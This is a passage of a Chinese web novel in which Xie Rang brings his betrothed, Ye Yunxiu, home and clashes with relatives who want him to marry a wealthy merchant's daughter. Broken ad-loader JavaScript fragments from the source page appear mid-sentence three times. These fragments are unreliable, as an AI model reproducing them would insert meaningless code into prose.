他伸手把床帐挂上钩子,温声安慰道:“已经没事了,别怕。”顿了顿又说,“我先出去看看,你起来穿好衣裳,换去隔壁房间吧,我担心万一店家报了官,官府来了横生枝节。” 不说叶云岫的身份,便是单说她一个小女儿家,牵扯上这种事情总是不好。 于是谢让开门出去,见周元明已经穿戴整齐站在走廊里,走廊另一头的客人也开了门,探头探脑出来看。 “出什么事了?”那客人问道。 “不知道啊,”谢让摊手道,“我们兄弟两个正睡得香呢,被吵醒了。” 那客人好奇心倒是重,裹着棉袄下楼看热闹去了,谢让转身打开房门一招手,叶云岫十分乖顺地走出来,跟着他进了隔壁周元明的房间。 谢让关好门,走过去撑起窗子往下看,从这个角度看得清楚些,那人摔得似乎比他预想的重,躺在地上一直叫唤。灯笼光线昏黄摇曳,那人似乎满脸的血,他的同伙正在跟掌柜争吵。 出了这么大事情,店家自然是要撇清干系,掌柜一直在喊着报官,同伙则硬说人是在客栈出的事,还讹上客栈了。吵着吵着,同伙中有人忽然甩了掌柜一巴掌,然后骂骂咧咧抬着人走了,说是去找郎中治伤。 一直等到天色大亮,也没见那帮人回来,果然是逃之夭夭了。 早饭时候,县衙的衙役才终于来了,两个衙役来敲门问话。 “这是地字四号房,不是说住的一个年轻貌美的小女子吗?” “官差大哥,”谢让拱拱手,指着屋里的周元明说道,“这间房住的是我和表弟二人,两个大男人家,哪来的什么女子啊?” “当真?” “当真,莫非是小二哥记错了?”谢让道,“您若不信,可以去问问对面地字七号房的客人,他昨儿半夜亲眼看见我从这房里出来的。” 衙役又问他昨晚可听到什么动静,谢让说不知道,睡得太死,半夜三更听见下边有人鬼哭狼嚎,吓一跳。 “官差大哥,到底发生了何事啊?” “官府办案,也是你能问的?”问话的衙役转身走了,一边骂骂咧咧道,“屁大的事也要报官,真当我们闲的慌么。” 另一个衙役说:“横竖也没死人,大半夜还来报什么官,伤者都不见人影。你还说什么采花贼,这屋里不是两个男的吗,我看八成就是个小蟊贼半夜爬楼偷东西,听见报官,自己吓跑了。” 其实这也不怪店家,周元明下楼煎药才听说,昨晚那人伤的实在不轻,说是半边嘴巴被刀子一直划开到耳朵,舌头都差点割掉了,怪吓人的,也难怪杀猪似的叫唤。再加上同伙讹诈打人,可不就把掌柜吓坏了么。 昨晚的歹人原来还不止一个,除了昨日调戏滋事的那壮汉,下边还有一个托举望哨的帮凶。歹徒应当是先用匕首撬开窗格,把匕首咬在嘴里想从窗户钻进去,结果被谢让一棍子捅过去,掉下去砸到帮凶又一起摔在地上。 这过程中也不知哪里凑巧,刀子被他咬在嘴里,结结实实把他腮帮子划拉开半边。 现在这伙人去向不明,谢让不禁又担心被盯梢报复,早饭后便赶紧收拾停当离开了客栈。 他们赶着驴车特意穿过城中大街,从北门出来,却又绕了个道往西走,还好一路太平,没发现有异常的人盯梢,终于赶在傍晚时分回到了白石镇。 夕阳西下,驴车一路径直驶向镇子西头。谢宅大门紧闭,谢让没有停顿,赶着车继续往前,绕过半边院墙,最终在西角门停下。 “表哥,我就不进去了吧,天快黑了,我先回去了。”周元明跳下驴车说道。 “也好,你先回去歇歇,跟外祖父报个平安。”谢让嘱咐一句,“走路自己小心,告诉外祖父,我明日过去。” “嗯,知道了。” 少年人姿态昂扬的背影走远,谢让下了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车,熟练地把驴车拴在树上。 “叶姑娘,我们到家了。”谢让掀开帘子,叶云岫扶着车厢出来,谢让托着她的手肘,转身背对着她说道:“我背你。” 叶云岫正愁着怎么面对他家里那么多陌生人呢,此举正合心意,便顺从地趴到他背上。 谢让背着她穿过西角门,进了西北角的一处小院。 “二哥回来了?可算是回来了。”屋里应声跑出来一个十四五岁的少女,瞧见谢让背着人进来,一脸惊讶,忙问道,“这是怎的了?” “你叶家姐姐路上病了。”谢让背着叶云岫进了屋,才把她放下来,指着那少女道,“这是我的胞妹凤宁。凤宁,这就是你叶家姐姐。” “见过叶姐姐。”谢凤宁端端正正地福身一礼。 叶云岫拘谨地还以微笑,学着她的样子两手搭在腰际,也还了个礼。 “叶姐姐快坐,你病着就别拘礼了,我去给你倒茶。”谢凤宁殷勤地把叶云岫让到椅子上坐下,又忙着倒了热茶来。 谢让捧着热茶暖手,一边问道:“这几日家里没什么事吧?” “也没什么事情。”谢凤宁说,“祖母这几日身上又不大好,请了郎中,还有三叔问过你两回了,叫你回来就去见他。” 谢让点点头,吹着热气喝了几口茶,说道:“你去把我屋里收拾一下,被褥换了,让你叶姐姐先住下。” 谢凤宁张了张嘴,还是问道:“二哥,那你……” “我先搬去前边倒座房。” 正说着话,院门一响,一个妇人推门进来,一进门便急切地连声道:“哎呦,让哥儿你可回来了,算着行程两三天前就该回来了的,一直也不见人影,可把人急死了。你说这天寒地冻的,外面到处乱纷纷的,你要万一要有个什么闪失,叫我可怎么跟二爷交代呀!” 她跨过门槛,口中一叠声说着话进来,身后还跟着两个小孩,一男一女,男孩十一二岁,女孩六七岁的样子。 “姨娘来了?劳姨娘担心了。”谢让淡声开口。 谢让和谢凤宁坐着没动,他俩不动,叶云岫反正不认识,自然也坐着不动。 杨姨娘目光转向叶云岫,越发殷勤地笑道:“哎呦,这位就是叶家姑娘吧,可真是温婉美貌。” 叶云岫点头微笑,杨姨娘走过去,拉着她的手一叠声问候:“叶姑娘一路辛苦了吧,到家了就好,你且安心住下,有什么需要的就跟我说一声,不必客气。” “姨娘,”谢让打断她,依旧温声道,“难得姨娘这般热心,那就烦请姨娘先去帮我们多烧些热水,这一路风尘仆仆多有不便,凤宁,你照顾叶姑娘沐浴。” 没等杨姨娘回应,他又转向两个小孩,皱眉斥道:“询儿,真儿,还不过来给叶家姐姐见礼,怎么这般不知礼数。” 两个小孩其实有些委屈,他们刚刚跟进来,都来不及见礼,就看着杨姨娘热情说个不停了。谢让一开口,两人赶紧过来见礼。 叶云岫见是两个小孩,拿不准自己该不该起身还礼,略一迟疑,两个小孩已经行了礼退到一旁了。 谢让又叫那男孩:“询儿,你去西角门,帮我把驴车牵去驴棚,把驴喂了,记得饮驴的水要温热。” 杨姨娘笑得有点脸酸,答应着走了,临走一巴掌抽在谢询头上,骂道:“懒货,哥哥叫你牵驴呢,还不快去!” 5. 第 5 章 杨姨娘他们走后,谢让向叶云岫解释道:“杨姨娘是我的庶母,两个小的,谢询是杨姨娘所出,燕真的生母已经不在谢家了。他们住得远,也不常过来,你平时不用管他们。” 叶云岫两眼茫然。从末世忽然穿到这里,她哪里搞得懂如此复杂的关系。 几天相处下来,谢让已经习惯了她这样沉默寡言的性子,顿了顿温声道:“你先休息一下,我得去祖母那边请个安。” 谢凤宁说:“二哥,你好歹歇歇再去啊,茶都没喝几口。” “没事,我去去就回。”谢让调侃的口吻笑道,“出必告,反必面,身为谢家人,你这规矩是怎么学的。” 他理了理衣裳含笑出门,径直往主院而去。 这宅子其实不小了,四进四出的大宅院,数年前谢家鼎盛时,曾经大肆修缮扩建过两次,两边都加了跨院,主院前边还弄了个风水造景的小花园。 四年前谢家被抄家时,祖宅也被查封充公,等到新皇赦免谢信,恩准谢氏家眷返回老家,当地官府又把这宅子还了回来。只是那些被毁坏、被拿走的东西,如今也没钱重修了。 宅子大,奈何人也多,如今一大家子几十口人都挤在这宅子里。 祖父谢信当年显赫时,可谓给谢氏家族带来不少荣光和好处,重修祠堂、大修祖宅、兴办族学,同时给谢氏宗祠添置了两百亩“祭田”,指望着子孙繁茂百世永昌。后来抄家时明着暗着的家产几乎都被追查清缴,但祭田地契都属于宗族,没有被查封。如今回到白石镇老家,一大家子人靠着这些“族产”,虽说跟之前锦衣玉食的日子没法比,可倒也不至于饿着。 要不怎么说瘦死的骆驼比马大呢。 只可惜坐吃山空,门庭破落,内里已经精穷了,却还时时摆着“大户人家”的谱。就像眼前这座主院,祖母独占了五间正房,依旧是高高在上、养尊处优的谢家老太太,甚至为了身份门面,依旧养着两个丫鬟。 谢让来到主屋门口,就让丫鬟进去禀报,少时三婶小王氏从屋里出来,谢让躬身施礼。 小王氏看了一眼屋里道:“让哥儿回来了?老太太已经睡下了。唉,不是三婶说你,你这次也实在是自作主张了,你一走,老太太身子就不好了,整日里唉声叹气的。” “是我的错,叫祖母担心了。那我明日再来给祖母请安。” 他说完躬身告退,转身就走。 小王氏哎了一声,追出来几步说道:“让哥儿,你三叔找你。” “三婶可知,三叔找我何事?” “呃,其实也没什么要紧事……” 小王氏支吾了一下,谢让笑道:“既然三叔不急,那烦请三婶跟三叔说一声,侄儿一身尘土,实在不雅,就先回去收拾洗漱一下,改日再聆听三叔教诲。” 他回去时,凤宁和叶云岫正在一起铺床,见他进来凤宁笑道:“还真是去去就回。哥哥,我们晚上吃什么?” 谢让笑道:“你们收拾吧,我去做。” 他跟妹妹住的这处小院,是后罩房隔出来的,没有厢房,自己在院子西侧砌了个小厨房。谢让进了小厨房,熟练地择菜切菜、揉面擀面,他把面条擀好,谢凤宁进来了,接手了烧火的活儿。 “接风面啊,哥哥有心了。”凤宁促狭笑道。 谢让看看手里的面,摇头失笑,他原本并非刻意,拣家里现成的食材做罢了,让妹妹这么一说,还真是凑巧了。 他也没多解释,把面条抻开放在盖帘上,掀起锅盖打了三个荷包蛋进去。 一边忙碌,一边兄妹俩小声说话。 “叶姑娘路上遇到流寇,行李都被抢了。”谢让嘱咐道,“你俩身量差不多,回头你先把你的衣裳拿给叶姑娘换身,哥哥明日再去给你们扯布做两件。” “二哥,你先给叶姑娘做就好了,我也不缺衣裳。”谢凤宁顿了顿,迟疑说道,“二哥,我怎么觉着,叶姑娘不太愿意跟我说话的样子?我跟她说话,她一晚上也没开口说几个字……” “别瞎想,她生病了,性子本身也羞怯一些。” 谢让低声道,“她遭遇流寇受了惊吓,又跟家仆失散,病倒了。我接她回来的路上一时不慎,又遇上一回歹人,别说她了,连我都吓得不轻。她到这里人生地不熟的,必然不自在,哪有力气说话,她现在还吃着药呢。” “是这样呀,叶姑娘太可怜了。”谢凤宁感同身受,谢家流放时,她也只有十岁。 “对呀,同是天涯沦落人,我们对她好一点。”谢让看着妹妹温和地笑笑。 他如今庆幸做得最正确的事,便是在父亲发配、母亲病逝后,将胞妹带在自己身边亲手照顾,而没有交给别人养歪。 细白的面条,碧绿的葱段,再配一个荷包蛋,谢让给其中两碗浇了半勺自制的麻辣油,凤宁那边又切了一碟小酱菜。等三人得以坐下来吃饭时,天已经彻底黑下来了。 叶云岫看着眼前的面条有些惊奇,问谢让:“这是你做的?” “对,”谢让点头笑道,“我做饭也就勉强煮熟了能吃,可别见笑。” 叶云岫低头吃了一口,点点头,眼睛亮晶晶地评价:“好吃!” 谢凤宁说:“配上二哥做的麻辣油和蒜泥更好吃,可惜二哥说你吃药忌口,不能吃这些。我二哥厉害吧?” 叶云岫看了看谢让碗里诱人的红油,小脸上表情颇有些遗憾。 谢让憋不住想笑,做饭的虚荣心大为满足,轻咳一声故意板着脸:“吃饭,食不言寝不语懂不懂?” 凤宁没忍住噗嗤一笑,赶紧低头吃饭。 晚饭后杨姨娘果然送来了热水,谢让拿着自己的被褥出去,让叶云岫先洗澡。这一洗就洗了许久,久到谢凤宁都忍不住担心了,进去给她添了两次热水,叶云岫才披着湿漉漉的头发出来。 原主在庵堂洗没洗澡她不知道,反正她自己,一路上别说洗澡,连衣服都没得换,这辈子都没这么脏过! 谢让在前边倒座房铺好了床,就回来煎药,等她洗好出来,药都快凉了。 凤宁已经回房里洗漱收拾,谢让没再使唤妹妹,见叶云岫收拾停当,端着药给她送去。 谢让的房里没有梳妆台,叶云岫坐在椅子上梳头,梳得半点耐心也没有,见他进来,也全无“孤男寡女”的自觉,反而抿嘴笑了下,一边手上揪着打结的发丝,用力扯了一下。 谢让放下药碗,欲言又止:“慢点梳,都扯断了。” 小姑娘动作停了一下,这次没用梳子,两手揪住打结的发丝拽开了。 谢让看着无奈,等她擦干头发,默默把药碗递给她,叶云岫洗过澡正有点渴呢,接过来一饮而尽。 “不苦吗?”谢让蹙眉好奇。 “苦的啊。”叶云岫想了想说道,“但是有味道的东西,总比没滋没味的东西好喝。” 谢让不能理解她这个言论,停了停换了话题道:“明日我要去给祖母和家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中长辈问安,你要一起去见见吗?” 叶云岫想也不想地摇头:“不想去,行不行?我……我不敢跟生人说话。” “不去也好,你还病着呢。”谢让安抚一句,嘱咐她早点休息,从房里出来,自己回前院倒座房睡觉。 一夜好眠。 第二日一早,谢让起床后的第一件事,便是去主院给祖母请安。 生在谢家,这些规矩礼节他是愿意去应付的,尤其今日可能还要面对一场责难。 果然,祖母今日没有再托病不见,但是也没给谢让好脸色。谢让进去时,三叔三婶和大伯母崔氏、大堂兄谢诚、并几个堂兄弟姐妹都已经到了。谢让进去后逐一问了安,祖母便挥手打发几个堂姐妹出去。 “老四还没来?”祖母老王氏问了一句。 三叔回答还没来,祖母面上不悦,抬抬眼皮道:“老三,那你说吧。” “是。”三叔转向谢让,端着脸说道,“让哥儿,这回的事情,你可知错了?” “侄儿愚钝。”谢让站那儿没动,只微微躬身道,“三叔明示。” 谢寄气得抬手指指他:“你还敢犟嘴?叶家的事情,你就这么自作主张了,你眼里还有没有祖母、有没有长辈?” “三叔这是哪里话?”谢让转向祖母老王氏,依旧恭恭敬敬的姿态说道,“这桩婚事是祖父当年定下的,我临走去接人时,也是跟祖母禀过了的,祖母当时只说家中如今诸多不易,无力去接人,我琢磨着确实不该为我自己的事情再给家里添麻烦,便自己借了盘缠、让我表弟陪着去的,如今人都接回来了,三叔却怪侄儿自作主张,这话是从何说起?” “你……”谢寄气得一拍茶几,小几上茶盏差点打翻,忙又自己扶住了。 三婶小王氏偷偷拽了丈夫一下:“让哥儿,那位叶姑娘呢?人都来了,怎么也不来给祖母见个礼,大户人家的姑娘怎的也不懂礼数,你好歹叫过来让咱们看看呀。” 谢让:“她路上病了,还在吃药,我就没敢让她来,怕过了病气给祖母。这不是祖母也身体欠安么,祖母身子要紧,孙儿哪敢大意。” 大伯母崔氏忙在一旁当起了和事老,一副语重心长地开口道:“让哥儿啊,不是大伯母说你,你这孩子也实在太轴了,长辈们无非是为了你好,你父亲不在身边,母亲早早去了,婚姻大事就该听祖母和长辈们的,那叶家,咱们又不欠他家什么,他家如今获了罪,你硬要娶,万一再把咱们谢家也牵连上。” 谢让依旧温文有礼地反驳道:“祸不及出嫁女,律法都写了的,大伯母尽管放心。祖父既然定下这桩婚约,那她就是谢家人。大伯母,咱们谢家是何等人家,如何能做出那等背信弃义、私自悔婚的事情?” 谢寄抢白道:“你少来,我就问你,孙家那边怎么办?” “孙家那边?”谢让笑了一下,“孙家那边,与我何干?” 谢寄跳起来就想骂人,老王氏一直端坐上首,这会儿终于长长“唔”了一声。谢寄动作一顿,瞪了谢让一眼,气哼哼坐了回去。 老王氏唔了一声之后,其他人就都不吱声了。 半晌,老王氏才缓缓开口道:“让哥儿,你如今,也学会忤逆长辈了?” “孙儿不敢,孙儿的错。祖母这么说孙儿惶恐万分,孙儿这就去祠堂罚跪,到祖父灵前请罪去。”谢让躬身一礼,竟然真的转身就走,大步流星出去了。 呯!!身后不知谁摔了杯子。 6. 第 6 章 平日里给祖母请安,谢让借口住得远、妹妹要给他做饭料理家务,隔三差五才带谢凤宁去一回,冬日天寒,凤宁也就安心多睡了会儿。 结果谢凤宁才刚起床,大堂兄谢诚忽然来了,叫她赶紧去劝劝谢让。 谢凤宁这才知道,二哥被罚跪祠堂了。 “为什么罚他?”凤宁急了。 “谁罚他了,他自己要去的。”谢诚瞄了一眼西屋,含混其词地跟谢凤宁说道,“哎呀你先过去再说吧,谢让那个性子,他还真什么都干得出来,脸面都不顾了,简直是有辱斯文!祖母让你……” 谢凤宁一听就有了猜测,一时没揣摩透兄长的用意,迟疑着要不要去。 这时,西屋的门打开了,一个粉袄素裙、乌发雪肤的少女走出来,恰似冬日里一朵娇杏,清冷的眸子投射过来。 谢诚一愣,正要说的卡在了嘴里,两眼发直,死盯着叶云岫看,一时竟忘了下半句。 “大堂兄!”谢凤宁重重叫了一声。 “哦……”谢诚回神,指着叶云岫道,“这,这是……” “大堂兄,你先请回吧,叶姐姐病着呢,就不方便见你了。”谢凤宁挡在他面前,板起了脸。 谢诚自觉失态,脸上不禁有几分讪讪,慌忙转身走了。 谢凤宁气呼呼关上门,叶云岫走了过来,问道:“谢让,他怎么了?” “没事,叶姐姐你别担心。”谢凤宁想了一下,说道,“虽然这次二哥没跟我交底,但是你放心,他可不是一个任人拿捏的人。” 叶云岫点点头,谢凤宁便叫她先回房养病,自己换了件厚衣裳,匆匆往祠堂去。 谢氏宗祠离谢宅还有一段距离,谢凤宁匆匆跑到祠堂,果然看见谢让端端正正跪在祠堂,旁边堂祖父谢仲和几个族老都在,正围在他旁边说话。 谢凤宁放缓脚步,缓口气整理一下衣裳,抬步走了进去,先给谢仲和两个族叔福身行礼。 “宁姐儿,你可来了。”谢仲捏着胡子,一见她忙问,“你快来说说,你二哥今日这是怎的了,到底发生了什么事情,叫他一大早跑来跪在你祖父灵前,问也不说话,就在这里难过。” “……”谢凤宁小脸一苦,眨眨眼泫然欲泣,摇头道:“我也不知道啊,二哥一早就去给祖母请安,然后就这样了。” “你也不知道,你祖母……” 谢仲不问还好,刚一开口,谢凤宁就噗通往谢让旁边一跪,捂着脸呜呜哭泣:“呜呜……祖父,宁儿想你了,你怎么就丢下可怜的宁儿……” 谢仲头疼扶额,不愧是亲兄妹…… 谢家那点事,别说谢氏宗族,整个白石镇还有谁不知道的。老王氏四个儿子,谢让的父亲谢宏排行第二。四年前新帝赦了谢信的罪名,已入仕的谢宗和谢宏却没有赦免,毕竟谢信已经死了,谢宗、谢宏却还活着。谢宗、谢宏被刺配边关,至今没有音讯,生死不明。 可长房还有大儿媳崔氏撑着,崔氏作为长媳当着谢宅的家,不光生了谢家的嫡长孙谢诚,还有嫡长孙女谢凤歌。谢凤歌早几年谢家显赫时嫁入了广平伯府,如今可还好好的做着伯府的少夫人呢。 三子谢寄,娶的是老王氏的娘家亲侄女,自不用说,万事有老王氏护着。老四谢宸,同样在谢家最显赫时娶了京城世家大族范家的女儿。如今谢家虽然倒了,可范氏儿子都生了,也还得是谢家的儿媳妇。 不说别的,单凭这两门姻亲,谢家也不是寻常人家能比的。 所以最不济的就剩下二房了。谢宏发配、周氏已死,周氏娘家只是白石镇当地小门户,再没别的倚仗了。 兄妹两个平时也懂事乖觉,一向少生事端,这会儿大早晨往祠堂一跪,一哭,什么话也不肯说,却越发让人觉得这其中有千般酸楚、万般委屈。 谢氏自诩大户望族,要脸,这传出去成什么了。谢仲自然要急,可兄妹两个却哄不走。 兄妹两个跪了有小半个时辰,惊动了许多人关注问询,谢宅除了谢诚来了一趟,别的也没人来,越发让人议论纷纷。一直到老四谢宸匆匆赶到,好说歹说,才把兄妹两个劝了回去。 谢宸领着谢让兄妹回到老宅,带他们去了自己院里,范氏也在,兄妹两个忙上前行礼。 范氏自有世家贵女的底气,虽然还做谢家的儿媳,却压根不肯住在白石镇老宅,一家人平常都住在陵州城里,范氏娘家帮着他们买的宅子。 问起今日的事情,谢让也没瞒着,直说自己因为叶家的婚约,触怒了祖母,祖母骂他忤逆。 范氏一听嗤声笑道:“原来是因为这个呀,我竟不知道,咱们府上老太太还有这么高的心气儿,真真好笑。” 谢宸嘴角一抽,无奈地使眼色:“当着晚辈,说什么呢。” “怎么,你也赞同你家老太太了?”范氏冷笑道,“你们谢家的人,眼睛都是一高一低的么,自己家的人就一心叫他攀高枝,旁人家的人就都不算人了,见人家落了势,就想踩人家一脚,也不看看自家什么火候,不知所谓,轮到她嫌弃了?” 谢宸面色涨红,却也不敢跟范氏怎样,赶紧把谢让兄妹打发了回去。 一大早上这番折腾,早饭都还没吃上,兄妹俩从四房院里出来,谢让便给了凤宁两个铜板,叫她去街上凑合买几个素包子,自己匆匆回到小院。 叶云岫正等得不耐烦,问他:“发生什么事了,你没事吧?” 谢让当然不能跟她说实话,含糊道:“没什么事情,叫你担心了,只不过是因为家中一些琐事,触景生情,就去祖父灵前上了柱香。” 叶云岫清凌凌的眼眸望着他,也不知真信假信了,没再追问下去。 谢让去厨房先把粥煮上,把叶云岫的药也煎上,叶云岫跟着进来,蹲在他旁边问:“我是不是给你添了很多麻烦?” “别胡说。”谢让顿了顿,温声道,“我又不是什么菩萨圣人,我也有私心的,我想娶你,不光是因为一纸婚约,也因为如今这桩婚约是我想要的,于我有利。若不跟你成婚,我的婚事就要由着家中长辈摆布,那不是我想要的。” 他掀起锅盖看了看,回首望着她笑道:“所以要这么说,该是你帮了我的大忙才对,救我于水火。你不必妄自菲薄。” 叶云岫点点头表示懂了,没再说话,安安静静地蹲那儿陪他烧火。 谢让却看着她不得劲,她头发太长,依旧散着,背上宛如披开一匹黑缎子,这么一蹲,发梢都快要触到地上了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么不把头发梳起来?”谢让拿了个凳子给她。 叶云岫接过凳子坐下,顿了顿,慢吞吞问道:“我能跟你说实话吗?” 谢让挑眉,笑问:“怎么了?” “我不会梳头……不会梳发髻。”小姑娘沉默了一下,问,“我能不能把它剪短一点?” “……”谢让愕然,旋即失笑道,“胡说八道什么,你不知道剪头发是什么意思吗?” “?”叶云岫单纯无辜的问号脸。 谢让一噎,发现她似乎真的不懂。 谢让不禁扶额,哪有人不知道这个,叶家是怎么养女儿的? 不会梳头倒也能理解,大户人家呼奴唤婢,哪需要千金小姐自己梳头。可是剪头发—— 他顿了顿,无奈地认真解释:“身体发肤受之父母,我朝女子,除了婚礼开脸修额发、合卺结发,再没有剪头发的说法了,难不成你要削去三千烦恼丝、出家当尼姑去?” 当尼姑?叶云岫摸摸自己的脑袋,想起净慈庵里师太们的光头……这可不行,她不要剃光头。 摇头。 谢让看着她那认真的小表情,忍不住再次失笑。当真是养在深闺、足不出户的千金娇女,她似乎什么都不懂,懵懵懂懂,煞是可爱。 “行了,不许剪,回头我教你梳头。” 本来应当让凤宁教她,可谢让转念又想,还是算了吧,她如今就像一只刚离了巢的雏鸟,惊惶未定,整个人看着怯怯弱弱的,也只勉强跟他多相处了几日,能跟他多说几句话。 再说要是跟凤宁说你叶姐姐不会梳头,她大概要笑的。 谢让煮了粟米粥,谢凤宁买了几个薄皮大馅的菜包子回来,眼看着已经巳时了,三人才吃上一顿早饭。 吃过饭,谢让借着给叶云岫送药的时候,便叫她坐在椅子上,教她梳头。 原本是想教她,可他今日的事情实在太多,没那么多空暇,教了一遍干脆直接给她梳好算了。 不然她就这么披头散发的,让旁人看着实在不太合适。 小时候谢让给妹妹梳过头的,母亲周氏病重时也靠他一手照料,梳头洗脸,因此他好歹会梳简单的女子发髻,手不是太笨。他先把她一头长发梳顺了,前边从中间分开,两侧用布条简单挽做双鬟,后边的头发就松松地扎成一束,看着倒也还可以。 梳完头,谢让简单交代几句就出门走了,他得赶紧去安排婚礼的事情,这事拖不得。 成婚的事,怎么也绕不过祖母和长辈们,所以他还是得去找谢宸。这件事最能帮他的,大约只有四叔四婶了,尤其四婶范氏。 可是等他去了东跨院,谢宸夫妇却不在,丫鬟说范氏嫌谢宅憋闷,谢宸陪着去外面散心去了。 谢让只得先办别的事,跑了一趟街上,给叶云岫扯了两块布,总得先给她做件换身的衣裳。 婚服却还没着落,正红布料太贵,且婚服工序费事,不是他想买就买、想做就能很快做出来的…… 谢让一脑门子事,回来歇了个晌,吃顿午饭,下午刚想去见谢宸,大伯母使唤了堂弟谢谅来找他。 左右绕不开,谢让大半天下来忙得也有些情绪上来,把手上的事情一扔,就跟着谢谅去了。 7. 第 7 章 大伯母自恃身份,占了东跨院中间最大的主屋。谢让跟着谢谅进了前厅,才发现三叔三婶也在,正围着火盆闲坐喝茶。 他心中冷笑,这是又换了什么法子拿捏他? 今日在祠堂没说,是因为他不想叶云岫家中之事让外人知晓,这些人也该知道尴尬收敛,若是再折腾,惹急了他反正不在乎别人的脸面。 “让哥儿来了?”崔氏一脸粉饰太平的笑容,殷勤招呼道,“让哥儿快别多礼,自己坐,自家人尽管随意一些。” 她这么说,谢让只能越发恭谨,行礼坐下后欠身问道:“不知大伯母唤侄儿来有何吩咐?” “嗐,这话说的,哪有什么吩咐。”崔氏一边说,一边很刻意地瞧了谢寄两眼。 见谢寄不接茬,崔氏索性笑道:“其实也不是大伯母找你,这不是你三叔有事找你么,我寻思着,自家人有什么说不开的,不妨一起坐下来商量。” 因为早上的事情,谢寄被族中质询议论,内里早就厌恶透了这个不听话的侄子,却又不得不出这个面。被崔氏一点名,谢寄脸色讪讪放下茶盏说道:“让哥儿啊,你可不要误解三叔,长辈们无非都是为了你好,为了咱们谢家。” 谢让也不接话,静待下文。 谢寄清了清嗓子:“咳咳,让哥儿,眼前这事,总得想法子解决才行。长辈们商量过后,倒是有个不错的安排,既能履行叶家的婚约,又不辜负孙老爷一番美意,两全其美。你看如何?” “哦?”谢让捏着杯盖,饶有兴致地笑了一下问,“三叔竟有这么好的法子,难不成三叔想让侄儿都娶了,三叔敢不敢去孙家说?先说好了,就算他孙家姑娘愿意做妾,谢让可也养不起两个。” 谢寄呛了一下,黑着脸放下茶杯。 大家大族的小儿女,婚姻哪有自己做主的余地,这一点谢让早就清楚。 再早就不必说了,即便门庭败落,这几年随着他成年,也没少人往他的婚事上动脑筋。先是大伯母,大约默认叶家的婚约不作数了,大伯母一直属意于把娘家侄女嫁给他,为此不惜三天两头接了侄女来家里住。只可惜谢让也不傻,一直躲得远远的。 他可不认为大伯母真有那个好心。谢家头两房儿媳,都是在发达之前娶的,崔氏本身出身不高,作为“长媳”,一门心思想把谢家拿捏在手里。三房有老王氏护着,四房范氏谁也惹不起,于是就剩下最不济的二房。 在崔氏看来,只要谢让娶了她娘家亲侄女,那二房就在她手下了。况且谢家瘦死的骆驼比马大,谢让仪表堂堂,也堪配得上她的侄女。 结果崔氏苦心撺掇好几年,弄得谢让厌恶,前阵子却忽然被人横插了一杠子。 三叔口中的孙家,家主叫孙万年,是陵州城数一数二的大富商,主要经营米行、粮店。谢氏宗祠有两百亩族田,当初谢信买来给宗祠的,如今谢家回到白石镇,没了生计,其中大部分族田就又回到了谢家手里。三叔风雅,四叔住在陵州,大堂兄一心只读圣贤书,所以家中这些庶务杂活,就都落到了谢让身上。 说白了,经常是谢让带着族人和雇工干活,打理田间的事情,这其中就会跟孙家商行打交道。 一来二去,孙万年就看上谢让了,说这个年轻人不简单,家道败落不卑不亢,肯务实,有头脑,品貌端正,是能撑起门户的。 孙万年子嗣不丰,前头都是女儿,年过半百才得了一个老来子,如今才不过五岁。两个月前,孙万年忽然请谢寄过去喝酒,席间就直说了,想把女儿嫁给谢让,并且主动提出若是这亲事成了,他就在陵州城中给女儿陪嫁一座像样的宅子,以及一大笔丰厚的嫁妆,婚后谢让就住到陵州来,跟着他打理商行生意。 谢寄当场一口就答应了,还说回去便禀明老太太,叫媒人去孙家提亲。 这事传回谢家,除了大伯母阴阳怪气,一大家子都高兴坏了。但是谢让不高兴。 他对攀高枝、吃软饭一点兴趣都没有,对孙家姑娘也无意。更何况,孙万年明摆着是因为儿子太小,想要找一个出力扛活、帮扶幼子的养老女婿。 谢让开始庆幸祖父当初帮他定的这门亲,给了他反抗的理由。 谢家人纷纷劝他,叶家这桩婚约早就不作数了,别痴心妄想了。谢让只抓住一个死理,祖父当年亲口定下的婚约,祖父一世英名、在天有灵,就算不作数,那也得等两家正式退了婚才行。 叶家远隔千里,怎么退婚?这事就暂时僵持住了。这么一拖,恰好江南兵乱,叶家获罪,才有了后面的事情。 如今谢让把人都接回来了。 小王氏说:“让哥儿,你也别太死脑筋了,长辈们无非为了你好。我们谢家,也不是那种不仁义的人家,叶家如今出了事,那叶家姑娘可怜了,既然投奔到谢家来了,那我们妥善安置她便是了,也不是非得你娶她。” 谢让不接这个话茬,依旧看向三叔。 谢寄道:“正是如此。不如这样吧,孙家那边的婚事,我已经都答应下来了,总不好失信于人,再说傻子也知道孙家那是多好的一门婚事,你可别不知好歹。你就只管把孙家姑娘娶回来,我答应孙家在前,叶家来人在后,这也怪不着我们。叶姑娘这边,咱们家也没说不管她,不如就让谢谅娶了吧,谢谅跟她正好年纪相当,一样是谢家子孙,也不算委屈了她。” …… 谢让还真惊着了。 他愕然瞧了一眼谢谅,一股怒气顿时冲到心口。谢谅十五岁,庶出,生母原是老王氏的丫鬟,被老王氏塞给谢宗做通房,生下谢谅才抬了姨娘。谢家被抄家流放时,有身契的贱妾只能算作家产,被一并发卖了。 要说谢谅也是个可怜虫,在大房猫儿狗儿一样长大,如今又被他们推了出来。 谢让气极反笑,悲凉地放下茶盏,笑道:“怎么,你们这是打量着叶家落难,叶姑娘一个孤女无人做主,由着你们欺负了?” 崔氏强辩道:“让哥儿说话怎这么难听,我们谅哥儿哪里差了?” “大伯母好算计,讨好了老太太和三叔,惦记着孙家的嫁妆,还白得一个庶出的儿媳。”谢让冷笑几声,摇头叹道,“你们这些人啊,还真是……无耻至极!” 谢寄怒极一拍桌子:“你怎么说话呢?” “人话。三叔说的是人话吗?” “谢让!”谢寄怒喝,“你竟敢辱骂长辈,书都读到狗肚子里去了,你还是不是谢家子孙了?” “那就要问问三叔自己,礼义廉耻这四个字怎么写!” 谢让站起身来,冷然道,“我的婚事,上有祖父母,我父亲也还在世呢,还轮不到别人做主。叶家的婚事是祖父为我定下的,叶姑娘就注定是我谢让的人,再有人信口胡沁,别怪我谢让撕破脸,反正我也不在乎脸面。就是不知道,三叔有没有脸去见九泉之下的祖父。” 